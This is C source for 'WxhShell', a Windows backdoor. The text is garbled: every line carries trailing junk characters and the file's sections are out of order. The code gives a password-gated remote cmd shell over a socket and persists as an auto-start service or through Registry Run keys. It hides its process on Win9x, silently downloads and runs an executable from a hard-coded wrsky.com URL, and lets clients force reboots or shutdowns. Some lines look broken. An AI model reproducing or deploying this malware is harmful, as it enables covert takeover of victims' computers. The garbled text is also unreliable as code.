    if(Boot(SHUTDOWN)) ~AD%aHR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B&tU~  
    else { `M "O #  
    closesocket(wsh); ;au-NY  
    ExitThread(0); }d,iA FG  
    } FfDe&/,/  
    break; E(5'vr0  
    } ) o)k~6uT  
  // 获取shell +) pO82  
  case 's': { $oefG}h2  
    CmdShell(wsh); Z3ucJH/)V  
    closesocket(wsh); ' (JSU   
    ExitThread(0); De^GWO.?bT  
    break; O23dtH  
  } m=Z1DJG  
  // 退出 <f l-P  
  case 'x': { r ek89.p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~w<u!  
    CloseIt(wsh); :R/szE*Ak  
    break; kIHfLwh9N  
    } _uvRC+~R  
  // 离开 !nQ!J+ g  
  case 'q': { 9-<EeV_/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HG(J+ocn   
    closesocket(wsh); ])dq4\Bw  
    WSACleanup(); B(x$ Ln"y[  
    exit(1); I}5#!s< {&  
    break; !n<vN@V*3d  
        } MuzlUW]  
  } l]BIFZ~  
  } 95.m^~5  
Z J:h]  
  // 提示信息 Mlr\#BO"9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `QH-VR\_  
} Fdgu=qMm  
  } Ae&470  
C_SJ4Sh  
  return; 2}Ga   
} 0dv# [  
Ga5O&`h  
// shell模块句柄 Lh0qB)>  
int CmdShell(SOCKET sock) s?=v@|vz)  
{ oyQp"'|N  
STARTUPINFO si; i%jti6z$Hr  
ZeroMemory(&si,sizeof(si)); 9#K,@X5 j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p^QEk~qw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q;&\77i$  
PROCESS_INFORMATION ProcessInfo; inO)Y]|f  
char cmdline[]="cmd"; (*{Y#XD{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K-%x] Fp=  
  return 0; oBfh1/< <a  
} *VJT]^_  
!q:[$g-@q  
// 自身启动模式 Y?cdm}:Ou  
int StartFromService(void) .M3]\I u  
{ ]njObU)[zr  
typedef struct El3Y1g3+3  
{ U?vG?{A  
  DWORD ExitStatus; XH9Y|FX%#  
  DWORD PebBaseAddress; FW](GWp`:  
  DWORD AffinityMask; |y,%dFNLf  
  DWORD BasePriority; B=E<</i  
  ULONG UniqueProcessId; $ yd "bJK  
  ULONG InheritedFromUniqueProcessId; ={HYwP;  
}   PROCESS_BASIC_INFORMATION; dMo456L  
CC?L~/gPN  
PROCNTQSIP NtQueryInformationProcess; rCOH*m&  
l* ~".q;S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j2@19YXe@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Dt)O60X3>  
dvPK5+0W?  
  HANDLE             hProcess; x~!gGfP  
  PROCESS_BASIC_INFORMATION pbi; =6PTT$,  
[SnnOqWw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w(>mP9Cb  
  if(NULL == hInst ) return 0; ]UtfI  
<a=,{O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H1!u1k1nl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PWavq?SR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w;e42.\  
W~EDLLZ  
  if (!NtQueryInformationProcess) return 0; u 2)#Ml  
rMV<}C ^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k15fy"+Ut  
  if(!hProcess) return 0; vdhwFp~Y  
l_?r#Qc7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UKfC!YR2J8  
}&E'ox<S  
  CloseHandle(hProcess); oRp;9   
.>/Tc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h'QEwW  
if(hProcess==NULL) return 0;  Sj,>O:p  
AK$h S M  
HMODULE hMod; 4hymQ3 g  
char procName[255]; &Fw8V=Pw  
unsigned long cbNeeded; In3},x +$  
l(o;O.dLt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ITUwIpA E  
?PpGBm2f*  
  CloseHandle(hProcess); a>_Cxsb&`  
q?9x0L  
if(strstr(procName,"services")) return 1; // 以服务启动 @c >a  
lZ\Si  
  return 0; // 注册表启动 6Cdc?#&  
} ~F{u4p7{N  
$ts%SDM  
// 主模块 #]g9O?0$  
int StartWxhshell(LPSTR lpCmdLine) {6/Yu: ;  
{ 7H,p/G?]k  
  SOCKET wsl; J&vmW}&  
BOOL val=TRUE; [~%\:of70n  
  int port=0; qGH s2Og  
  struct sockaddr_in door; =P,h5J  
!BQ:R(w  
  if(wscfg.ws_autoins) Install(); 7aV(tMzd  
&*w)/W  
port=atoi(lpCmdLine); Gtyy^tz[  
UNc[h&@_  
if(port<=0) port=wscfg.ws_port; Ah|,`0dw  
_NkVi_UX  
  WSADATA data; qYwEPGa\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L#\!0YW/@  
[r)Hm/_=|U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oD@~wcMIT0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C2Pw;iK_t  
  door.sin_family = AF_INET; YNRorE   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); szDd!(&pv  
  door.sin_port = htons(port); 3T<aGW1  
&4m\``//9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |z5`h  
closesocket(wsl); (|*CVI;  
return 1; L^7"I 4=(D  
} @N?u{|R:d  
*yDsK+[_  
  if(listen(wsl,2) == INVALID_SOCKET) { SDW_Y^Tb  
closesocket(wsl); {cYS0%Go  
return 1; h VQj$TA  
} sXpA^pT"T  
  Wxhshell(wsl); $v6`5;#u  
  WSACleanup(); #cZ<[K q6  
 /uyZ[=5  
return 0; 2<  "-  
7a0kat '\  
} LRuB&4r8  
$z"1&y)  
// 以NT服务方式启动 $N[R99*x8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C.& R,$  
{ d7*fP S  
DWORD   status = 0; XEB1%. p  
  DWORD   specificError = 0xfffffff; j\uh]8N3<  
\d,wcL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _@gd9Fi7J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >[D(<b(U&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L2L=~/LG  
  serviceStatus.dwWin32ExitCode     = 0; O\"k[V?.V  
  serviceStatus.dwServiceSpecificExitCode = 0; !=Hu?F p  
  serviceStatus.dwCheckPoint       = 0; -!C9x?gNY  
  serviceStatus.dwWaitHint       = 0; J'=iEI  
#ox &=MY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q, `:RF3  
  if (hServiceStatusHandle==0) return; bRhc8#kw)  
REj<2Lo  
status = GetLastError(); K4{1}bU{>  
  if (status!=NO_ERROR) (9phRo)>  
{ p /x ]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .:nV^+)  
    serviceStatus.dwCheckPoint       = 0; gpe/dfyJ9  
    serviceStatus.dwWaitHint       = 0; l0&Y",vy  
    serviceStatus.dwWin32ExitCode     = status; h5do?b v!  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0|^/e -^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U =G}@Y  
    return; L  (#DVF  
  } *>#mI/#}  
?e. Ge0&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 43HZ)3!me  
  serviceStatus.dwCheckPoint       = 0; @}8~TbP  
  serviceStatus.dwWaitHint       = 0; dHUcu@,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u |EECjJn  
} c2,;t)%@E  
yltzf #%  
// 处理NT服务事件,比如:启动、停止 wyVQV8+&>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6bacU#0o  
{ M#?^uu'  
switch(fdwControl) M`=bJO:  
{ {=q$k=ib  
case SERVICE_CONTROL_STOP: {f12&t  
  serviceStatus.dwWin32ExitCode = 0; T]fBVA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uHNh|ew21  
  serviceStatus.dwCheckPoint   = 0; @8jc|X<A  
  serviceStatus.dwWaitHint     = 0; ="<S1}.  
  { KBO{ g:"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hHoc>S6^M  
  } n1mqe*Mvs/  
  return; c'LDHh7b  
case SERVICE_CONTROL_PAUSE: ;#>,eD2u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $h()% C7s  
  break; ,];4+&|8kW  
case SERVICE_CONTROL_CONTINUE: [&B}{6wry  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^-|yF2>`  
  break; V.f'Cw  
case SERVICE_CONTROL_INTERROGATE: 1I1Z),  
  break; |fd}B5!c  
}; M10u?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _Q $D6+  
} ;Bs^+R7  
!6 k{]v  
// 标准应用程序主函数 , id`=L=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FX6 *`  
{ bns([F  
j+E[ [  
// 获取操作系统版本 pH'1be{K  
OsIsNt=GetOsVer(); ?Ww\D8yV&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;44?`[oP  
l Zq`,E_L  
  // 从命令行安装 @6~OQN  
  if(strpbrk(lpCmdLine,"iI")) Install(); m&h5u,  
%~ROV>&  
  // 下载执行文件 P!Mz5QZ+  
if(wscfg.ws_downexe) { 3cp"UU}.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,iUYsY  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;h }^f-  
} aK ly1G  
?D^l&`S  
if(!OsIsNt) { <<Fk[qMA  
// 如果时win9x,隐藏进程并且设置为注册表启动 O 0lQ1<=  
HideProc(); n<x NE %  
StartWxhshell(lpCmdLine); KLc<c1BZ  
} h2Pvj37  
else @Lj28&4:<  
  if(StartFromService()) P9wx`x""k  
  // 以服务方式启动 Ff\U]g  
  StartServiceCtrlDispatcher(DispatchTable); mxpncM=q  
else x{B%TM-Ey  
  // 普通方式启动 U73{Uv  
  StartWxhshell(lpCmdLine); ,a I0Aw  
p^LUyLG`  
return 0; D;V FM P  
} N o}Ly{  
7@.UkBOx  
A3UC=z<y  
]0HlPP:2  
=========================================== k^pf)*p  
7[l "=  
&k5 Z|d|  
!V =s^8nj  
#_tixg  
rZ~.tT|(  
" crJyk#_  
K4vl#*qn  
#include <stdio.h> &b 2Vt  
#include <string.h> _fH.#C  
#include <windows.h>  \|Qx`-  
#include <winsock2.h> [Ng#/QXk{  
#include <winsvc.h> #^- U|~,  
#include <urlmon.h> N1RZ  
bP`.teO\  
#pragma comment (lib, "Ws2_32.lib") nQc]f*  
#pragma comment (lib, "urlmon.lib") oEE*H2l\  
Rld1pX2v  
#define MAX_USER   100 // 最大客户端连接数 Tn+6:<OFdO  
#define BUF_SOCK   200 // sock buffer Ly?gpOqu5  
#define KEY_BUFF   255 // 输入 buffer hsVf/%  
lPh>8:qFM  
#define REBOOT     0   // 重启 ).TQYrs  
#define SHUTDOWN   1   // 关机 H|4O`I;~(  
^D(N_va<  
#define DEF_PORT   5000 // 监听端口 sXm/+I^  
G"bItdb  
#define REG_LEN     16   // 注册表键长度 -X~VXeg  
#define SVC_LEN     80   // NT服务名长度 **V^8'W<  
 ZqQJFyV*  
// 从dll定义API 1!"0fZh9U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @Y'BqDFlZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Gb6t`dSzz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ST3aiyG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7z'l}*FRD  
~^QL"p:5|  
// wxhshell配置信息 ,v$gWA!l  
struct WSCFG { d]0.6T1[K  
  int ws_port;         // 监听端口 e%w>QN`  
  char ws_passstr[REG_LEN]; // 口令 " d3pkY  
  int ws_autoins;       // 安装标记, 1=yes 0=no ngoo4}  
  char ws_regname[REG_LEN]; // 注册表键名 V-U,3=C  
  char ws_svcname[REG_LEN]; // 服务名 r>1M&Y=<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $\l7aA5~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rxu 6 #v F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &B\tcF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h_ef@ZwSw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0x!XE|7I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jW5n^Y)  
hM")DmvB4  
}; Be+CV">2  
">]v'h(s  
// default Wxhshell configuration z5PFppSQ  
struct WSCFG wscfg={DEF_PORT, CZ*c["x2  
    "xuhuanlingzhe", 8Czy<}S<G  
    1, (3`Q`o;  
    "Wxhshell", _Z'j%/-4@D  
    "Wxhshell", d?(#NP#;  
            "WxhShell Service", Q.H y"~  
    "Wrsky Windows CmdShell Service", ^'Wkb7L  
    "Please Input Your Password: ", [$)C(1zY  
  1, Mp*")N,  
  "http://www.wrsky.com/wxhshell.exe", ,@ A1eX}  
  "Wxhshell.exe" }:C4T*|  
    }; 8`Fo^c=j  
z"8%W?o>  
// 消息定义模块 Szrr`.']  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~TC z1UWV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aObWd5~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p_S8m|%  
char *msg_ws_ext="\n\rExit."; Jr m<u t  
char *msg_ws_end="\n\rQuit."; vR<Y1<j  
char *msg_ws_boot="\n\rReboot..."; 'L)@tkklp  
char *msg_ws_poff="\n\rShutdown..."; j(mbUB*  
char *msg_ws_down="\n\rSave to "; h')@NnFP 1  
5qtZ`1Hq  
char *msg_ws_err="\n\rErr!"; b[,J-/;JNL  
char *msg_ws_ok="\n\rOK!"; )K.~A&y@  
F2!C^r,~L  
char ExeFile[MAX_PATH]; }N^.4HOS8  
int nUser = 0; T{v(B["!$  
HANDLE handles[MAX_USER]; 6}"P m  
int OsIsNt; o@j]yA.5)  
wjW>#DE  
SERVICE_STATUS       serviceStatus; =jIB5".  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %cMX]U  
Xwy0dXko  
// 函数声明 3/V&PDC*'  
int Install(void); 9 lE[oAC  
int Uninstall(void); <a7y]Py  
int DownloadFile(char *sURL, SOCKET wsh); 8 hx4N  
int Boot(int flag); 'PRsZ`x.  
void HideProc(void); Sc'z vlq  
int GetOsVer(void); Xdj` $/RI  
int Wxhshell(SOCKET wsl); )*@n G$i99  
void TalkWithClient(void *cs); UN#XP$utY  
int CmdShell(SOCKET sock); _4F(WCco  
int StartFromService(void); 8enlF\I8g  
int StartWxhshell(LPSTR lpCmdLine); '<_nL8A^  
Yy`\??,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KM$L u2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^6j: lL  
m` ^o<V&  
// 数据结构和表定义  gSQq  
SERVICE_TABLE_ENTRY DispatchTable[] = |}N -5U  
{ KDr?<"2L  
{wscfg.ws_svcname, NTServiceMain}, -N;$L~`iAt  
{NULL, NULL} S]&f+g}&w  
}; P34UD:  
3D L7  
// 自我安装 [4 L[.N@  
int Install(void) c,nE@~ul2  
{ &nkYJi(!  
  char svExeFile[MAX_PATH]; Qgx9JJ>  
  HKEY key; R6l`IlG`  
  strcpy(svExeFile,ExeFile); x`n$4a'7b  
C+ar]Vi  
// 如果是win9x系统,修改注册表设为自启动 ?WPuTPw{  
if(!OsIsNt) { AyHhq8Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MH@=Qqx#=t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y#F`yXUj  
  RegCloseKey(key); 6;s.%W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pQv`fr=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k4:$LFw@  
  RegCloseKey(key);  `{w.OK  
  return 0; j}9][Fm1*  
    } ;e,_F/@`  
  } v2=Iqo  
} eC`} oEz  
else { OsI>gX>  
OpFe=1Q  
// 如果是NT以上系统,安装为系统服务 B(tLV9B3Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j9Qd 45  
if (schSCManager!=0) ?VCdT`6=  
{ g7\MFertR^  
  SC_HANDLE schService = CreateService @yc/1u $r  
  ( }!_x\eq^  
  schSCManager, #snwRW>=[  
  wscfg.ws_svcname, = iJfz  
  wscfg.ws_svcdisp, u|]{|Ya'%  
  SERVICE_ALL_ACCESS, 581Jp'cje  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J,N='~kfh  
  SERVICE_AUTO_START, p;8I@~dh  
  SERVICE_ERROR_NORMAL, F)fCj^ zL  
  svExeFile, C8ss6+k&  
  NULL, vh+ ' W  
  NULL, HC1jN8WDY  
  NULL, @4sEHk 3  
  NULL, wXUP%i]i=  
  NULL ;MSdTHN"  
  ); $MW-c*5a  
  if (schService!=0) #B_Em$  
  { .T!R&#]n  
  CloseServiceHandle(schService); {B;<R1  
  CloseServiceHandle(schSCManager); h\qQ%|X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sd(Yr6~..  
  strcat(svExeFile,wscfg.ws_svcname); |:qaF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o 8fB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [K5#4k  
  RegCloseKey(key); |A .U~P):  
  return 0; XSfl'Fll D  
    } ?WVp,vP  
  } v3zd>fDnRp  
  CloseServiceHandle(schSCManager); fRcs@yZnS  
} FCr^D$_w  
} v@xbur\L  
!UzMuGj  
return 1; #\P\(+0K  
} ?$chO|QY  
MC'2;,  
// 自我卸载 {pWb*~!k  
int Uninstall(void) ?cyBF*o  
{ 1')_^]  
  HKEY key; pxGDzU  
bUcEQGHcZ=  
if(!OsIsNt) { 9~rrN60Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _VjfjA<c8  
  RegDeleteValue(key,wscfg.ws_regname); tfAO#htq  
  RegCloseKey(key); v47S9Vm+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "e-RV  
  RegDeleteValue(key,wscfg.ws_regname); `] fud{  
  RegCloseKey(key); _L^(CFE  
  return 0; ~[N"Q|D3Y  
  } D4G*Wz8  
} NMy+=GZu^  
} xs}3=&c(  
else { Hxr)`i46  
w;OvZo|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7{BTtUMAC  
if (schSCManager!=0) :lfUVa{HN  
{ }Sx+:N*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F ]x2;N  
  if (schService!=0) m) q e  
  { + g*s%^(E  
  if(DeleteService(schService)!=0) { pYBY"r  
  CloseServiceHandle(schService); L ,/(^0;  
  CloseServiceHandle(schSCManager); yQ03&{#  
  return 0; C$x r)_  
  } |19zjhl  
  CloseServiceHandle(schService); }o:sU^Pwa  
  } j*fs [4  
  CloseServiceHandle(schSCManager); -Pt']07E  
} bd;?oYV~  
} {Q(R#$)5+  
bm\Zp  
return 1; i.5?b/l0  
} ?l/+*/AR;  
~gi,ky^!  
// 从指定url下载文件 [dIlt"2fV  
int DownloadFile(char *sURL, SOCKET wsh) y?-zQs0  
{ %NH{%K,  
  HRESULT hr; K^Ixu~  
char seps[]= "/"; *p.70,5,  
char *token; $v\o14 v  
char *file; x@Ze%$'  
char myURL[MAX_PATH]; rk)h_zN  
char myFILE[MAX_PATH]; \(4kEB2s$  
"~,3gNTzV  
strcpy(myURL,sURL); sIz*r Gz  
  token=strtok(myURL,seps); W&s@2y?rF  
  while(token!=NULL) P/Zp3O H  
  { \2OjIEQQ  
    file=token; *V[6ta'  
  token=strtok(NULL,seps); d#cEAy  
  } m[$pj~<\  
@A1Ohl  
GetCurrentDirectory(MAX_PATH,myFILE); TO]7%aB  
strcat(myFILE, "\\"); {Q/_I@m].  
strcat(myFILE, file); X775j"<d  
  send(wsh,myFILE,strlen(myFILE),0); q'CtfmI`r=  
send(wsh,"...",3,0); bo_Tp~ j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nS9 kwaO  
  if(hr==S_OK) vcz?;lg  
return 0; t +h}hL  
else b Sm*/Q  
return 1; 4&}dA^F  
.3:s4=(f  
} 5hg ^K^ZZ  
BW5!@D2  
// 系统电源模块 9`|~- b  
int Boot(int flag) MgrJ ;?L  
{ 5169E*  
  HANDLE hToken; ]]!&>tOlI  
  TOKEN_PRIVILEGES tkp; "H3DmsB  
'E_~>  
  if(OsIsNt) { _2wH4^Vb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "iPX>{'En  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y#?AW`|  
    tkp.PrivilegeCount = 1; 2y#[uSqB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mb#&yK(h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bTJ l  
if(flag==REBOOT) { 2e*"<>aeq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c7f11N!v>b  
  return 0; ! ~3zp L  
} V 2/?1  
else { Y9ipy_@_?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i=aK ?^+  
  return 0; W*.6'u)9  
} ty-erdsP  
  } :7 OhplI  
  else { dvPlKLp  
if(flag==REBOOT) { ]^BgSC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tEjT$`6hp  
  return 0; p?e-`xs  
} HqoCl  
else { 3}gf %U]L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z=pGu_`2  
  return 0; MVXy)9q  
} ,;k`N`#'  
} =+"=|cQ  
AroYDR,3+  
return 1; *e%(J$t  
} ]m@p? A$  
' i<}/l  
// win9x进程隐藏模块 !bQqzny$R  
void HideProc(void) X3l? YA  
{ Y2>0Y3yM  
WR5W0!'Tf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E-"b":@:  
  if ( hKernel != NULL ) )Oix$B!-  
  {  LAO2Py#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z\r29IRh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m(p0)X),_i  
    FreeLibrary(hKernel); Rb l4aB+   
  } *7G5\[gI$  
]5sU =\  
return; ? H7?>ZE  
} dO|n[/qL0  
&l _NCo2  
// 获取操作系统版本 .y^T 3?}I  
int GetOsVer(void) Rn5{s3?F~2  
{ xF])NZy|  
  OSVERSIONINFO winfo; `z~L0h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3iBUIv  
  GetVersionEx(&winfo); *!&,)''  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `| f1^C^  
  return 1; }-2U,Xg[  
  else Ah Rvyj  
  return 0; RE.t<VasP  
} DA9f\q   
JYO("f  
// 客户端句柄模块 v/~Lfi  
int Wxhshell(SOCKET wsl) N`rz>6,k1  
{ $i"IOp  
  SOCKET wsh; ;I!Vba  
  struct sockaddr_in client; bguTWI8bk  
  DWORD myID; prO ~g  
rhj_cw  
  while(nUser<MAX_USER) '-M9v3itC  
{ -AZ\u\xCB  
  int nSize=sizeof(client); *r].EBJ\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `IH*~d]  
  if(wsh==INVALID_SOCKET) return 1; ak$D1#hY  
NXSjN~aG2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MD>xRs   
if(handles[nUser]==0) )8 %lZ {  
  closesocket(wsh); WWN2  
else }Wz[ox9b  
  nUser++; Y?xc#'  
  } AGK{t+`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \fJ _,  
*IIuGtS  
  return 0; .'zcD^  
} bEli!N$  
ewVks>lbz  
// 关闭 socket .9@y*_ 9  
void CloseIt(SOCKET wsh) wH]Y1 m  
{ ~vB dq Yj  
closesocket(wsh); PXo^SHJ+gt  
nUser--; L^e%oQ>s  
ExitThread(0); 37 d-!  
} tLzKM+Ct#  
xew s~74L  
// 客户端请求句柄 npMPjknl  
void TalkWithClient(void *cs) DMiB \o  
{ A+ LX37B  
/PZxF  
  SOCKET wsh=(SOCKET)cs; BoP,MpF  
  char pwd[SVC_LEN]; r Fhi:uRV  
  char cmd[KEY_BUFF]; #r'S@:[  
char chr[1]; g<^-[w4/  
int i,j; ];*? `}#  
SY$%)(c8kL  
  while (nUser < MAX_USER) { )M_|r2dDq3  
:ioD  *k  
if(wscfg.ws_passstr) { Ypwn@?xeP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cHX~-:KOr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ti&v9re%wO  
  //ZeroMemory(pwd,KEY_BUFF); _bSn YhS  
      i=0; J=Hyoz+9  
  while(i<SVC_LEN) { n..R'vNj  
Ti$_V_  
  // 设置超时 Zb$P`~(%  
  fd_set FdRead; Qq3UC%Z1  
  struct timeval TimeOut; $PFE>=nM  
  FD_ZERO(&FdRead); M?QX'fia  
  FD_SET(wsh,&FdRead); l(d3N4iz  
  TimeOut.tv_sec=8; |'](zEwq  
  TimeOut.tv_usec=0; l09DH+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o "1X8v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [ps 5  
o ^""=Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]K|td)1X  
  pwd=chr[0]; Aaz2._:/-m  
  if(chr[0]==0xd || chr[0]==0xa) { j> dL:V&`  
  pwd=0; C=`MzZbJ  
  break; GuKiNYI_  
  } J }|6m9k!  
  i++; 1@xdzKua1  
    } fT.MglJcb  
;@H:+R+(  
  // 如果是非法用户,关闭 socket U\i7'9w]3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lH/7m;M  
} |"YE_aYu  
8dwKJ3*.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $^`@lyr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .zsY VtK  
WkDXWv\{,{  
while(1) { <aQ5chf7  
#3_ @aq*  
  ZeroMemory(cmd,KEY_BUFF); _kdt0Vr,L  
iJS7g  
      // 自动支持客户端 telnet标准   y#i` i  
  j=0; 7KN+ @6!x  
  while(j<KEY_BUFF) { ;),vUu,k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yaPx=^&  
  cmd[j]=chr[0]; t"P:}ps{?  
  if(chr[0]==0xa || chr[0]==0xd) { v\D.j4%ij  
  cmd[j]=0; :M8y 2f h  
  break; F8|m i`f-  
  } P DwBSj  
  j++; wY3| 5kbDj  
    } RcOfesW o  
EkoT U#w5  
  // 下载文件 v {) 8QF]  
  if(strstr(cmd,"http://")) { wK0],,RN,h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L| ;WE=  
  if(DownloadFile(cmd,wsh)) eU\XAN#@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xn02p,,  
  else 9ePom'1f1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LIn2&r:U  
  } rTqGtmulG  
  else { U:bnX51D4  
#3?}MC  
